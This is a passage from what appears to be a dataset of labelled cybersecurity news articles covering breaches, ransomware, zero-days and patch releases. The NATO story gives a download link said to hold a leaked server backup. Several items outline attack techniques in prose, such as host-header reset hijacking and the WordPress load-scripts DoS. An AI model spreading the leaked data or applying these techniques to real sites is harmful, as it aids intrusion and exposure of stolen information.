Team Inj3ct0r ( 1337day ) claim to hack Apache Tomcat Version 5.5.9 of NATO. The North Atlantic Treaty Organization or NATO also called the (North) Atlantic Alliance, is an inter governmental military alliance based on the North Atlantic Treaty.


They Leak a Backup of Random 2,646 files from Server as Proof of Hack . The archive uploaded by hackers is available at https://www.mediafire.com/?s2chp1v2jqsf52z .



We talk to Team Inj3ct0r about this hack They said :
1.) The Reason of Hacking is ""Nuclear weapons. its development and financing""
2.) They hack Tomcat 5.5 Server using 1337day privat exploit (0day) .
3.) They get the root privilege to the Server.
4.) They are able to Deface the website of NATO also, but they will not do this. They have just take the backup of server and trying to distribute that on Internet.



This archive contains various configurations XML/Batch/Bash files. Some of them as listed below :
1.) tomcat-users.xml
2.) Smartfinder.log


3.) Digest.sh
Some Weeks ago NATO Reports Data Breach to One of Its Websites NATO's e-Bookshop & Also NATO was on the target of Anonymous. This time Team Inj3ct0r ( 1337day ) Hack whole Server of NATO and dump the backup.

",Vulnerability
XSS Vulnerability in MSN.com,https://thehackernews.com/2011/08/xss-vulnerability-in-msncom.html,"XSS Vulnerability in MSN.com

XSS Vulnerability (Cross Site Scripting) in MSN discovered by TeamDX . Vulnerable Link is also shown in image.


Last week One of the Security Researcher ""Juan Sacco (runlvl)"" - Insecurity Research Labs expose the Cross Site vulnerability (XSS) in Bing.com Search Engine.

",Vulnerability
30 Million Facebook Accounts Were Hacked: Check If You're One of Them,https://thehackernews.com/2018/10/hack-facebook-account.html,"Late last month Facebook announced its worst-ever security breach that allowed an unknown group of hackers to steal secret access tokens for millions of accounts by taking advantage of a flaw in the 'View As' feature.

At the time of the initial disclosure, Facebook estimated that the number of users affected by the breach could have been around 50 million, though a new update published today by the social media giant downgraded this number to 30 million.

Out of those 30 million accounts, hackers successfully accessed personal information from 29 million Facebook users, though the company assured that the miscreants apparently didn't manage to access any third-party app data.

Here's How Facebook Classified the Stolen Data:

Facebook vice president of product management Guy Rosen published a new blog post Friday morning to share further details on the massive security breach, informing that the hackers stole data from those affected accounts, as follows:
For about 15 million Facebook users, attackers accessed two sets of information: usernames and contact information including phone numbers, email addresses and other contact information depending on what users had on their profiles.
For about 14 million Facebook users, attackers accessed an even wider part of their personal data, including the same two sets of information mentioned above, along with other details users had on their profiles, like gender, language, relationship status, religion, hometown, current city, birthdate, device types used to access Facebook, education, work, the last 10 places they checked into or were tagged in, website, people or pages they follow, and the 15 most recent searches.
A remaining 1 million Facebook users did not have any personal data accessed by the attackers.
Besides this, Rosen also added that the attackers had no information to data from ""Messenger, Messenger Kids, Instagram, WhatsApp, Oculus, Workplace, Pages, payments, third-party apps, or advertising or developer accounts.""

Moreover, hackers also were not able to access any private message content, with one notable exception—If a user is a Facebook page administrator who had received or exchanged messages from someone on Facebook, the content of those messages was exposed to the attackers.

Here's How to Check If You Are One of 30 Million Affected Users

Facebook said users can check whether they were affected by the breach by visiting the social network's Help Center.

Facebook also added that the company will directly inform those 30 million users affected to explain what information the attackers might have accessed, along with steps they can take to help protect themselves from any suspicious emails, text messages, or calls.

So far the identity of the hackers remains unclear, but Rosen said Facebook is working with the FBI, the US Federal Trade Commission, Irish Data Protection Commission, and other authorities to investigate who might be behind the breach or if they were targeting anyone in particular.
",Data_Breaches
Oracle releases Critical Update to Patch 104 Vulnerabilities,https://thehackernews.com/2014/04/oracle-releases-critical-update-to.html,"It's time to update your Java program as Oracle has released its massive patch package for multiple security vulnerabilities.

The United States software maker Oracle releases its security updates every three months, which it referred to as ""Critical Patch Updates"" (CPU). Yesterday, Oracle released its second CPU-date of this year providing important updates that include a total of 104 vulnerabilities, the company has announced.

From the overall vulnerabilities, 37 security vulnerabilities impact Java SE and several of these flaws are so serious that it can be remotely exploited by a malicious malware to gain system access and execute arbitrary code with the privileges of a local user.

Successful exploitation also allows an attacker to manipulate certain local data on a system and can cause a DoS attack without the need of authentication credentials, which means the flaws can be exploited over a network without the need for a username and password to crashing an application or an entire system.

In the latest update, the vulnerability has been fixed in the current version of the ""Java SE 8 Update 5"" and to the newer release ""Java SE 7 Update 55"".

In addition to the Java SE, vulnerability has been fixed in each affected software product including:
Oracle Database
Fusion Middleware
Access Manager
Containers for J2EE
Data Integrator
Endeca Server
Event Processing
OpenSSO
WebCenter Portal
WebLogic Server
Hyperion Common Admin
E-Business Suite
Agile PLM Framework
Transportation Management
PeopleSoft Enterprise
Java SE, MySQL Server and others
Among the security updates, 4 out of 37 Java vulnerabilities are very serious that have been evaluated in the maximum rating of 10.0 in the CVSS (Common Vulnerability Scoring System) base score of common indicators risk, those must be considered as very critical.

CVE-IDs of 37 Serious Java Vulnerabilities:

CVE-2013-6629
CVE-2013-6954
CVE-2014-0429
CVE-2014-0432
CVE-2014-0446
CVE-2014-0448
CVE-2014-0449
CVE-2014-0451
CVE-2014-0452
CVE-2014-0453
CVE-2014-0454
CVE-2014-0455
CVE-2014-0456
CVE-2014-0457
CVE-2014-0458
CVE-2014-0459
CVE-2014-0460
CVE-2014-0461
CVE-2014-0463
CVE-2014-0464
CVE-2014-1876
CVE-2014-2397
CVE-2014-2398
CVE-2014-2401
CVE-2014-2402
CVE-2014-2403
CVE-2014-2409
CVE-2014-2410
CVE-2014-2412
CVE-2014-2413
CVE-2014-2414
CVE-2014-2420
CVE-2014-2421
CVE-2014-2422
CVE-2014-2423
CVE-2014-2427
CVE-2014-2428
The users are advised to update their installations as soon as possible from Java website or using the Java Control Panel.

",Vulnerability
"Israeli Road Control System hacked, caused Traffic jam on Haifa Highway",https://thehackernews.com/2013/10/israeli-road-control-system-hacked.html,"Israel is considered one of the most advanced country in cyber security, but at the same time is a privileged target for hostile governments intent in sabotage and cyber espionage on his technology.

Yesterday, Cybersecurity experts revealed that a major artery in Israel's national road network located in the northern the city of Haifa suffered a cyber attack, that caused massive traffic congestion in the City.

Isreal military officials are aware of cyber threats that could hit the infrastructure of the country and they afraid the possible effect of a cyber attack on a large scale.

Israeli government websites suffer thousands of cyberattacks each day according Ofir Ben Avi, head of the government's website division. The Israel Electric Corp. confirmed that its servers register about 6,000 unique computer attacks every second.

In June, Prime Minister Benjamin Netanyahu stated that Iran militia, Hezbollah and Hamas have targeted in numerous occasions Israel's ""essential systems,"" including its water facilities, electric grid, trains and banks.
""Every sphere of civilian economic life, let's not even talk about our security, is a potential or actual cyber attack target,"" said Netanyahu.

Israel's military chief Lt. Gen. Benny Gantz made a high-profile speech recently outlining that within the greatest threats his country might face in the future there is the computer sabotage as a top concern. A sophisticated cyber attack could be used to shut down a banking system of Israel, the national electric grids or a defense system, this is a nightmare for the Defense.
Cybersecurity experts revealed to The Associated Press that a major artery in Israel's national road network located in the northern the city of Haifa suffered a cyber attack that has caused serious logistical problems and hundreds of thousands of dollars in damage.

The tunnel is a strategic thoroughfare in the third largest city of the country, and as a demonstration of its importance in the city is exploring the possibility to use the structure as a public shelter in case of emergency.
It seems that the attackers used a malware to hit the security camera apparatus in the Carmel Tunnel toll road in Sept. 8 and to gain its control.

""The attack caused an immediate 20-minute lockdown of the roadway. The next day, the expert said, it shut down the roadway again during morning rush hour. It remained shut for eight hours, causing massive congestion.""

The experts that have investigated on the incident exclude that the hypothesis of a state-sponsored attack because the malicious code used was not sophisticated enough to be the work of a hostile government, it is likely the involvement of a group of hacktivists.

Carmelton company that oversees the toll road, blamed a ""communication glitch"" for the incident, while Oren David, a manager of security firm RSA's anti-fraud unit, said that although he didn't have information about the tunnel incident similar attacks could represent a serious menace for population.

""Most of these systems are automated, especially as far as security is concerned. They're automated and they're remotely controlled, either over the Internet or otherwise, so they're vulnerable to cyberattack,"" ""among the top-targeted countries."" said David.

In reality Iranian hackers and other hostile entities have penetrated successfully Israeli systems, Israel has controlled the attacks to track back the hackers, profile their methods of attack and to conduct a disinformation campaign making available false information.

To improve security of critical infrastructure the Israeli civilian infrastructure, Israel's national electric company has recently launched a training program, jointly with cyber defense company CyberGym, to teach engineers and managers of critical plants to detect ongoing cyber attacks.

The attack scenario revealed portends to an escalation of attacks by hostile entities, whether they are cyber criminals, hacktivits or state-sponsored hackers, it's crucial for the Israeli government to invest in improvement of cyber capabilities for its survival.

",Vulnerability
Newly Patched SAP ASE Flaws Could Let Attackers Hack Database Servers,https://thehackernews.com/2020/06/newly-patched-sap-ase-flaws-could-let.html,"A new set of critical vulnerabilities uncovered in SAP's Sybase database software can grant unprivileged attackers complete control over a targeted database and even the underlying operating system in certain scenarios.

The six flaws, disclosed by cybersecurity firm Trustwave today, reside in Sybase Adaptive Server Enterprise (ASE), a relational database management software geared towards transaction-based applications.

The cybersecurity company said the issues — both specific to the operating system and the platform as a whole — were discovered during a security testing of the product, one of which has a CVSS rating of 9.1.

Identified as CVE-2020-6248, the most severe vulnerability allows arbitrary code execution when making database backups, thus allowing an attacker to trigger the execution of malicious commands.

""During database backup operations, there are no security checks for overwriting critical configuration files,"" Trustwave researchers said in a report shared with The Hacker News. ""That means anyone who can run the DUMP command (e.g., database owners) can perform very dangerous tasks.""

A second vulnerability (CVE-2020-6252) concerns ASE Cockpit, a web-based administrative console that's used for monitoring the status and availability of ASE servers. Impacting only Windows installations of ASE 16, the flaw lets a bad actor with access to a local network to capture user account credentials, overwrite operating system files, and even execute malicious code with LocalSystem privileges.


Two other flaws (CVE-2020-6241 and CVE-2020-6253) allows an authenticated user to execute crafted database queries to elevate their privileges via SQL injection, permitting a user with no special privileges to gain database administrator access.

In the latter case, an attacker-controlled ASE database dump is altered with malicious data before loading it into a target ASE server.

A fifth flaw (CVE-2020-6243) exists when the server does not perform necessary checks for an authenticated user while executing a stored procedure (""dummy_esp""), allowing Windows users to run arbitrary code and delete data on the ASE server.

Lastly, CVE-2020-6250 involves information disclosure in Linux systems wherein an authenticated attacker can read system administrator passwords from installation logs.
""The logs are only readable to the SAP account, but when joined with some other issue which allows filesystem access, [it] will completely compromise the SAP ASE,"" the researchers noted.

After Trustwave responsibly disclosed the findings to Sybase, SAP addressed the issues in a patch that was pushed last month on May 12.

""Organizations often store their most critical data in databases, which, in turn, are often necessarily exposed in untrusted or publicly exposed environments,"" Trustwave said.

""This makes vulnerabilities like these essential to address and test quickly since they not only threaten the data in the database but potentially the full host that it is running on.""

It's highly recommended that users update to the latest version of ASE to resolve the flaws.

Besides these six flaws in Adaptive Server, SAP has also released critical security patches for ABAP application server, Business Client, BusinessObjects, Master Data Governance, Plant Connectivity, NetWeaver, and SAP Identity Management software as part of its May 2020 batch of patch release.

",Vulnerability
U.S Federal Agencies Want To Secretly Hack Suspects' Computers for Criminal Evidence,https://thehackernews.com/2014/05/us-federal-agencies-want-to-secretly.html,"The US Justice Department (DOJ) is seeking a transition in the criminal rules that would make the authorities to have more leeway to secretly hack into the suspected criminals' computer during criminal investigations at any times in bunches.

The proposed [PDF] change in the rules would make FBI to easily obtain warrants to secretly access suspects' computers for the evidence when the physical location of the computer is not known to them. The problem FBI and government agents increasingly face as more and more crime carried out is online, and with the help of online tools, it is easy to conceal identity of the criminal.

""This proposal ensures that courts can be asked to review warrant applications in situations where it is currently unclear what judge has that authority,"" Justice Department spokesman Peter Carr told Bloomberg. ""The proposal makes explicit that it does not change the traditional rules governing probable cause and notice.""

This new U.S. proposal to expand the ability of authorities has again held a debate over how to secure and balance the privacy and digital rights of individuals with the need to keep the nation safe. This new plan would leverage the authorities to use ""zero-day exploits"" on software vulnerabilities during criminal investigations and according to critics the change to the law could violate the privacy rights and could weaken overall Internet security.

""I don't think many Americans would be comfortable with the government sending code onto their computers without their knowledge or consent,"" Nathan Freed Wessler, a lawyer with the American Civil Liberties Union, said in a telephone interview to Bloomberg ""The power they're seeking is certainly a broad one.""

The New proposal would also allow the authorities to use a single warrant to hack into thousands of botnet victim's computers in order to collect evidence and technical details of the criminals. This means to find out a single culprit who could be even a foreigner, the authorities would legally authorize themselves for spying on thousands of machines legally.

DOJ highlighted that the proposed change would allow law enforcement agencies to ""use remote access"" to search and monitor computers even when ""the district where the media or information is located has been concealed through technological means."" A single warrant could be used to search computer systems located in five or more judicial districts, of which there are 94 in the United States and currently, the judges may issue a warrant in most cases only if the property to be examined is located in their district.

""The proposed amendment would enable investigators to conduct a search and seize electronically stored information by remotely installing software on a large number of affected victim computers pursuant to one warrant issued by a single judge,"" committee said. ""The current rule, in contrast, requires obtaining multiple warrants to do so, in each of the many districts in which an affected computer may be located.""

It is clearly known to all of us that both the National Security Agencies (NSA) and the Federal Bureau of Investigation have exploited several vulnerabilities to spy across the world for their own purposes and this new proposed change will definitely give them another legal authorization to carry out their spying projects secretly, and if get caught, IT'S ALL LEGAL MY FRIEND.

",Malware
0-Day Flaws in Vanilla Forums Let Remote Attackers Hack Websites,https://thehackernews.com/2017/05/vanilla-forum-vulnerability.html,"A security researcher has publicly disclosed two critical zero-day vulnerabilities in Vanilla Forums, an open source software that powers discussion on over 500,000 websites, which could allow unauthenticated, remote attackers to fully compromise targeted websites easily.

Discovered by Polish security researcher Dawid Golunski of Legal Hackers, two separate unpatched vulnerabilities, a remote code execution (CVE-2016-10033) and host header injection (CVE-2016-10073), affect the latest version of Vanilla Forums 2.3, leaving hundreds of thousands of websites and their visitors vulnerable to various hacking attacks.

Vanilla Forums: Remote Code Execution Flaw

According to Golunski, both vulnerabilities technically exist because Vanilla Forum is still using a vulnerable version of PHPMailer, one of the most popular open source PHP libraries used to send emails.

Last year Golunski reported a critical remote code execution flaw (CVE-2016-10033) in PHPMailer library that allows an attacker to remotely execute arbitrary code in the context of the web server and compromise the target web application.
In a proof-of-concept video, Golunski demonstrated that the same PHPMailer exploit also makes the Vanilla Forums vulnerable, and if used in combination with host header injection, it allows attackers to inject arbitrary commands and payloads passed within the HOST header.
""It should be noted that this vulnerability can still be exploited even if Vanilla software is hosted on Apache web server with several name-based vhosts enabled, and despite not being the default vhost,"" the researcher explained.

Vanilla Forums: Host Header Injection Flaw

The Host Header Injection vulnerability in Vanilla forum can also be independently used to hijack user accounts, let's say admin, by sending a spoofed HTTP request with a custom HOST header (for example attacker-mxserver.com), while initiating a password reset process for a targeted admin user.

This technique also works in a similar manner as the Wordpress flaw, Golunski disclosed just last week, allowing attackers to gain access to user accounts, ""carrying Web-cache poisoning attacks, and in some instances, execute arbitrary code.""

Golunski reported the vulnerabilities to the Vanilla Forums in January this year. The company acknowledged his reports but went mum for around five months, which made him go public with his findings.

The researcher confirmed both the flaws still exist in the most recent, stable version 2.3 of Vanilla Forums, and believes that older versions of the forum software are also vulnerable.

Until the company fixes the issue, as a temporary mitigation, Golunski advises website administrator to set the sender's email address to a predefined static value in order to block the Vanilla Forums from using the HOST header.

Update: Vanilla Forums fixed the reported vulnerabilities last night, and said the issues only affect its free and open source product, adding ""neither of these vulnerabilities affect our cloud customers"" at vanillaforums.com, ""nor were they at the time of their publication.""

Users of its free and open source software are strongly recommended to update their Vanilla Forums software to the latest open source version, Vanilla 2.3.1.

",Vulnerability
Ransomware Cyber Attack Forced the Largest U.S. Fuel Pipeline to Shut Down,https://thehackernews.com/2021/05/ransomware-cyber-attack-forced-largest.html,"Colonial Pipeline, which carries 45% of the fuel consumed on the U.S. East Coast, on Saturday said it halted operations due to a ransomware attack, once again demonstrating how critical infrastructure is vulnerable to cyber attacks.
""On May 7, the Colonial Pipeline Company learned it was the victim of a cybersecurity attack,"" the company said in a statement posted on its website. ""We have since determined that this incident involves ransomware. In response, we proactively took certain systems offline to contain the threat, which has temporarily halted all pipeline operations, and affected some of our IT systems.""
Colonial Pipeline is the largest refined products pipeline in the U.S., a 5,500 mile (8,851 km) system involved in transporting over 100 million gallons from the Texas city of Houston to New York Harbor.
Cybersecurity firm FireEye's Mandiant incident response division is said to be assisting with the investigation, according to reports from Bloomberg and The Wall Street Journal, with the attack linked to a ransomware strain called DarkSide.
""We are engaged with Colonial and our interagency partners regarding the situation,"" the U.S. Cybersecurity and Infrastructure Security Agency (CISA) said. ""This underscores the threat that ransomware poses to organizations regardless of size or sector. We encourage every organization to take action to strengthen their cybersecurity posture to reduce their exposure to these types of threats.""
Darkside ransom note
An analysis of the ransomware published by Cybereason earlier in April 2021 reveals that DarkSide has a pattern of being used against targets in English-speaking countries, while avoiding entities located in former Soviet Bloc nations.
The operators behind the ransomware also recently switched to an affiliate program in March, wherein threat actors are recruited to spread the malware by breaching corporate network victims, while the core developers take charge of maintaining the malware and payment infrastructure.
DarkSide, which commenced operations in August 2020, has published stolen data from more than 40 victims to date. It's not immediately clear how much money the attackers demanded or whether Colonial Pipeline has paid. A separate report from Bloomberg alleged that the cybercriminals behind the attack stole 100GB of data from its network.
Rising Threat of Ransomware
The latest cyber attack comes as a coalition of government and tech firms in the private sector, called the Ransomware Task Force, released a list of 48 recommendations to detect and disrupt the rising ransomware threat, in addition to helping organizations prepare and respond to such attacks more effectively.
Potentially damaging intrusions targeting utilities and critical infrastructure have witnessed a surge in recent years, fueled in part by ransomware attacks that have increasingly jumped on the double extortion bandwagon to not only encrypt the victim's data, but exfiltrate the information beforehand and threaten to make it public if the ransom demand is not paid.
Based on data gathered by Check Point and shared with The Hacker News, cyber attacks targeting American utilities increased by 50% on average per week, from 171 at the start of March to 260 towards the end of April. What's more, over the last nine months, the monthly number of ransomware attacks in the U.S. nearly tripled to 300.
""Furthermore, in recent weeks an average of 1 in every 88 Utilities organization in the U.S. suffered from an attempted Ransomware attack, up by 34% compared to the average from the beginning of 2021,"" the American-Israeli cybersecurity firm said.
In February 2020, CISA issued an alert warning of increasing ransomware infections impacting pipeline operations following an attack that hit an unnamed natural gas compression facility in the country, causing the company to shut down its pipeline asset for about two days.
Securing pipeline infrastructure has been an area of focus for the Department of Homeland Security, which in 2018 assigned CISA to oversee what's called the Pipeline Cybersecurity Initiative (PCI) that aims to identify and address emerging threats and implement security measures to protect more than 2.7 million miles of pipelines responsible for transporting oil and natural gas in the U.S.
The agency's National Risk Management Center (NRMC) has also published a Pipeline Cybersecurity Resources Library in February 2021 to ""provide pipeline facilities, companies, and stakeholders with a set of free, voluntary resources to strengthen their cybersecurity posture.""

",Malware
Warning: Critical WinRAR Flaw Affects All Versions Released In Last 19 Years,https://thehackernews.com/2019/02/winrar-malware-exploit.html,"Beware Windows users... a new dangerous remote code execution vulnerability has been discovered in the WinRAR software, affecting hundreds of millions of users worldwide.

Cybersecurity researchers at Check Point have disclosed technical details of a critical vulnerability in WinRAR—a popular Windows file compression application with 500 million users worldwide—that affects all versions of the software released in last 19 years.

The flaw resides in the way an old third-party library, called UNACEV2.DLL, used by the software handled the extraction of files compressed in ACE data compression archive file format.

However, since WinRAR detects the format by the content of the file and not by the extension, attackers can merely change the .ace extension to .rar extension to make it look normal.
According to researchers, they found an ""Absolute Path Traversal"" bug in the library that could be leveraged to execute arbitrary code on a targeted system attempting to uncompress a maliciously-crafted file archive using the vulnerable versions of the software.

The path traversal flaw allows attackers to extract compressed files to a folder of their choice rather than the folder chosen by the user, leaving an opportunity to drop malicious code into Windows Startup folder where it would automatically run on the next reboot.

As shown in the video demonstration shared by researchers, to take full control over the targeted computers, all an attacker needs to do is convincing users into just opening maliciously crafted compressed archive file using WinRAR.

Since the WinRAR team had lost source code of the UNACEV2.dll library in 2005, it decided to drop UNACEV2.dll from their package to fix the issue and released WINRar version 5.70 beta 1 that doesn't support the ACE format.

Windows users are advised to install the latest version of WinRAR as soon as possible and avoid opening files received from unknown sources.

",Vulnerability
Unpatched DoS Flaw Could Help Anyone Take Down WordPress Websites,https://thehackernews.com/2018/02/wordpress-dos-exploit.html,"A simple yet serious application-level denial of service (DoS) vulnerability has been discovered in WordPress CMS platform that could allow anyone to take down most WordPress websites even with a single machine—without hitting with a massive amount of bandwidth, as required in network-level DDoS attacks to achieve the same.

Since the company has denied patching the issue, the vulnerability (CVE-2018-6389) remains unpatched and affects almost all versions of WordPress released in last nine years, including the latest stable release of WordPress (Version 4.9.2).

Discovered by Israeli security researcher Barak Tawily, the vulnerability resides in the way ""load-scripts.php,"" a built-in script in WordPress CMS, processes user-defined requests.

For those unaware, load-scripts.php file has only been designed for admin users to help a website improve performance and load page faster by combining (on the server end) multiple JavaScript files into a single request.

However, to make ""load-scripts.php"" work on the admin login page (wp-login.php) before login, WordPress authors did not keep any authentication in place, eventually making the feature accessible to anyone.

Depending upon the plugins and modules you have installed, the load-scripts.php file selectively calls required JavaScript files by passing their names into the ""load"" parameter, separated by a comma, like in the following URL:
https://your-wordpress-site.com/wp-admin/load-scripts.php?c=1&load=editor,common,user-profile,media-widgets,media-gallery
While loading the website, the 'load-scripts.php' (mentioned in the head of the page) tries to find each JavaScript file name given in the URL, append their content into a single file and then send back it to the user's web browser.

How WordPress DoS Attack Works
According to the researcher, one can simply force load-scripts.php to call all possible JavaScript files (i.e., 181 scripts) in one go by passing their names into the above URL, making the targeted website slightly slow by consuming high CPU and server memory.
""There is a well-defined list ($wp_scripts), that can be requested by users as part of the load[] parameter. If the requested value exists, the server will perform an I/O read action for a well-defined path associated with the supplied value from the user,"" Tawily says.
Although a single request would not be enough to take down the whole website for its visitors, Tawily used a proof-of-concept (PoC) python script, doser.py, which makes large numbers of concurrent requests to the same URL in an attempt to use up as much of the target servers CPU resources as possible and bring it down.

The Hacker News has verified the authenticity of the DoS exploit that successfully took down one of our demo WordPress websites running on a medium-sized VPS server.
""It is time to mention again that load-scripts.php does not require any authentication, an anonymous user can do so. After ~500 requests, the server didn't respond at all any more, or returned 502/503/504 status code errors,"" Tawily says.
However, attack from a single machine, with some 40 Mbps connection, was not enough to take down another demo website running on a dedicated server with high processing power and memory.

But that doesn't mean the flaw is not effective against WordPress websites running over a heavy-server, as application-level attack generally requires a lot fewer packets and bandwidth to achieve the same goal—to take down a site.

So attackers with more bandwidth or a few bots can exploit this flaw to target big and popular WordPress websites as well.

No Patch Available – Mitigation Guide
Along with the full disclosure, Tawily has also provided a video demonstration for the WordPress Denial of Service attack. You can watch the video to see the attack in action.

Knowing that DoS vulnerabilities are out-of-scope from the WordPress bug bounty program, Tawily responsibly reported this DoS vulnerability to the WordPress team through HackerOne platform.

However, the company refused to acknowledge the issue, saying that this kind of bug ""should really get mitigated at the server end or network level rather than the application level,"" which is outside of WordPress's control.

The vulnerability seems to be serious because WordPress powers nearly 29 percent of the Web, placing millions of websites vulnerable to hackers and making them unavailable for their legitimate users.

For websites that can't afford services offering DDoS protection against application-layer attacks, the researcher has provided a forked version of WordPress, which includes mitigation against this vulnerability.

However, I personally wouldn't recommend users to install modified CMS, even if it is from a trusted source other than the original author.

Besides this, the researcher has also released a simple bash script that fixes the issue, in case you have already installed WordPress.

",Cyber_Attack
FireEye spotted Critical 0-day vulnerability in Java Runtime Environment,https://thehackernews.com/2012/08/fireeye-spotted-critical-0-day.html,"FireEye's Malware Intelligence Lab is making the claim that there is a new zero day vulnerability in the wild that affects the latest version of Java.Researcher. Atif Mushtaq wrote on the company's blog that he spotted the initial exploit on a domain that pointed to an IP address in China.

The vulnerability allows computers to be infected by simply visiting a specially crafted web page, and the malware served in the current attacks contacts a C&C server in Singapore. Researchers from heise Security have also created a PoC page using information that is publicly available.

A separate post published on Monday by researchers Andre M. DiMino and Mila Parkour said the number of attacks, which appear to install the Poison Ivy Remote Access Trojan, were low. But they went on to note that the typical delay in issuing Java patches, combined with the circulation of exploit code, meant it was only a matter of time until the vulnerability is exploited more widely by other attackers.

Developers at vulnerability management company Rapid7, which owns the Metasploit Project, on Sunday added the exploit to their penetration testing framework. And the exploit is expected to show up if it hasn't already in the widely used BlackHole exploit toolkit, one of the most popular threats on the web.

""This vulnerability is not a 'memory corruption' type vulnerability, but instead seems to be a security bypass issue that allows running untrusted code outside the sandbox without user interaction,"" Eiram said. ""In this specific case a file is downloaded and executed on the user's system when just visiting a web page hosting a malicious applet.""

It's not clear when Oracle will release a patch for this vulnerability. The company did not immediately respond to a request for comment. Some security experts are prepping an unofficial patch for the program that should blunt this vulnerability.

However, uninstalling or disabling Java is probably not an acceptable solution for a large number of companies and users that rely on Java-based Web applications to conduct their daily business.

",Malware
"Researchers spotted 'Chewbacca', a new Tor-based Banking Trojan",https://thehackernews.com/2013/12/researchers-spotted-chewbacca-new-tor.html,"Cyber Criminal activity associated with the financial Trojan programs has increased rapidly during the past few months. However, the Tor-based architecture is the favorite one with online criminals, to hide their bots and the botnet's Command-and-Control real location from the security researchers.
Security Researchers at anti-virus firm Kaspersky Lab have discovered a new Tor-based banking trojan, dubbed ""ChewBacca"" (""Trojan.Win32.Fsysna.fej"") _x0081_,that steal banking credentials and hosted on a Tor .onion domain.
This protects the location of a server as well as the identity of the owner in most cases. Still there are drawbacks preventing many criminals from hosting their servers within Tor. Due to the overlay and structure, Tor is slower and timeouts are possible. Massive botnet activity may influence the whole network, as seen with Mevade, and therefore let researchers spot them more easily.
ChewBacca malware is not first that adopt Tor for anonymity, recently a new Zeus Trojan variant was captured in the wild that also based on Tor network and aimed at 64-bit systems.

Researchers did not mention that how they discovered Chewbacca, or the extent to which it has spread, but they note that the Malware is compiled with Free Pascal 2.7.1.
After execution of malware on the victim's windows system, it drops as spoolsv.exe in the startup folder and also drops a copy of Tor 0.2.3.25, which runs with a default listing on ""localhost:9050""_x0081_. The Trojan then logs all keystrokes and sends the data back to the botnet controllers via Tor anonymity network.

The Malware also enumerates all running processes and reads their process memory. According to the researchers, The Command-and-Control server is developed using LAMP, that is based on Linux, Apache, MySQL and PHP.
Chewbacca is currently not offered in public (underground) forums, like other toolkits such as Zeus. Maybe this is in development or the malware is just privately used or shared.
The botnet's Command-and-Control server login page have an image of a character (ChewBacca) from the film series Star Wars.

We are expecting more complex and TOR-based botnets in the future. Stay tuned to +The Hacker News - Stay Safe.

",Malware
Drupal resets 1 Million Passwords after Data Breach,https://thehackernews.com/2013/05/drupal-resets-1-million-passwords-after.html,"A Drupal data breach was announced by the official Drupal Association, that Passwords for almost one million accounts on the Drupal.org website are being reset after hackers gained unauthorized access to sensitive user data.

The security of the open source content management system has been compromised via third-party software installed on the Drupal.org server infrastructure, and was not the result of a vulnerability within Drupal itself. As countermeasure it is resetting the passwords for nearly one million accounts in the wake of a data breach.

Information exposed includes usernames, email addresses, and country information, as well as hashed passwords. The Drupal.org hasn't revealed the name of the third-party application exploited during the attack.
Evidence of the Drupal data breach was found during a routine security audit:
""Upon discovering the files during a security audit, we shut down the association.drupal.org website to mitigate any possible ongoing security issues related to the files,"" ""The Drupal security team then began forensic evaluations and discovered that user account information had been accessed via this vulnerability.""

""The Drupal.org Security Team and Infrastructure Team have discovered unauthorized access to account information on Drupal.org and groups.drupal.org.

This access was accomplished via third-party software installed on the Drupal.org server infrastructure, and was not the result of a vulnerability within Drupal itself. This notice applies specifically to user account data stored on Drupal.org and groups.drupal.org, and not to sites running Drupal generally.""

The Drupal data breach is considerably really serious about user's security, an impressive amount of web sites is based on the popular content management. The thousands of websites that run on Drupal software estimated at 2 percent of all sites should not be affected by the data breach.

The Drupal.org Security Team confirmed the ""unauthorized access"" to their system, highlighting that there's no evidence that any information was actually stolen. As a precautionary measure was requested all users to reset their passwords at their next login attempt.

Holly Ross, Executive Director for Drupal Association confirmed that they are investigating on the incident that could have exposed also other info: ""We are still investigating the incident and may learn about other types of information compromised, in which case we will notify you accordingly""

The attacks to Open Source CMS solutions are not an isolated cases due their large diffusion, in the past Joomla and WordPress platforms were hit and used to spread malicious code, WordPress recently was hit by a massive ""brute-force"" attack by botnet composed by almost 100,000 bots.

It's easy to predict that this kind of attacks is likely to increase for the large-diffusion of these platforms which makes them privileged targets.

Drupal.org account holders will be required to change their password by entering their username or e-mail address, and following the link included in the e-mail message that follows.

",Data_Breaches
MyHeritage Says Over 92 Million User Accounts Have Been Compromised,https://thehackernews.com/2018/06/myheritage-data-breach.html,"MyHeritage, the Israel-based DNA testing service designed to investigate family history, has disclosed that the company website was breached last year by unknown attackers, who stole login credentials of its more than 92 million customers.

The company learned about the breach on June 4, 2018, after an unnamed security researcher discovered a database file named ""myheritage"" on a private server located outside of the company, and shared it with MyHeritage team.

After analyzing the file, the company found that the database, which included the email addresses and hashed passwords of nearly 92.3 million users, are of those customers who signed up for the MyHeritage website before October 27, 2017.

While the MyHeritage security team is still investigating the data breach to identify any potential exploitation of its system, the company confirmed that no other data such as credit card details and family trees, genetic data were ever breached and are stored on a separate system.
""Credit card information is not stored on MyHeritage to begin with, but only on trusted third-party billing providers (e.g., BlueSnap, PayPal) utilized by MyHeritage,"" MyHeritage wrote in a blog post published today.
""Other types of sensitive data such as family trees and DNA data are stored by MyHeritage on segregated systems, separate from those that store the email addresses, and they include added layers of security. We have no reason to believe those systems have been compromised.""
MyHeritage also confirmed that there was no evidence of account compromise.

The company also notes that it does not store its customer passwords in plaintext; instead, the affected website uses a hashing algorithm with a unique salt to protect users' passwords, making them more resilient to cracking.

Therefore, your stolen passwords are probably safe, but the company still advised all of its users to change their passwords and keep a stronger and unique one, just to be on the safer side.

MyHeritage said it had hired an independent cybersecurity firm to conduct a forensic investigation of the data breach. The company also said it is adding two-factor authentication feature as an option for users.

",Data_Breaches
Malware that transfers stolen data using Inaudible Audio signals,https://thehackernews.com/2013/12/Malware-Inaudible-Audio-signals-badbios-virus.html,"If you think that a computer which is not connected to a network, doesn't have any USB sticks attached to it and doesn't accept any kind of electronic connection requests are reasonably safe against hackers and from all the malware, then you are Wrong.
Here we have something shocking update that Some German Scientists have developed a proof of concept Malware prototype, could allow a hacker to infect your computers and other digital devices just using Inaudible Audio signals.

The ability to bridge an air gap could be a potent infection vector. Just imagine, a cyber attack using high-frequency sound waves to infect machines, where stolen data also can be transferred back to attacker without a network connection, Sounds very terrifying ?

When a few weeks ago, a security researcher Dragos Ruiu claimed malware dubbed badBIOS allowed infected machines to communicate using sound waves alone, means that the devices are physically disconnected from any networks, including the internet, people said he was crazy.
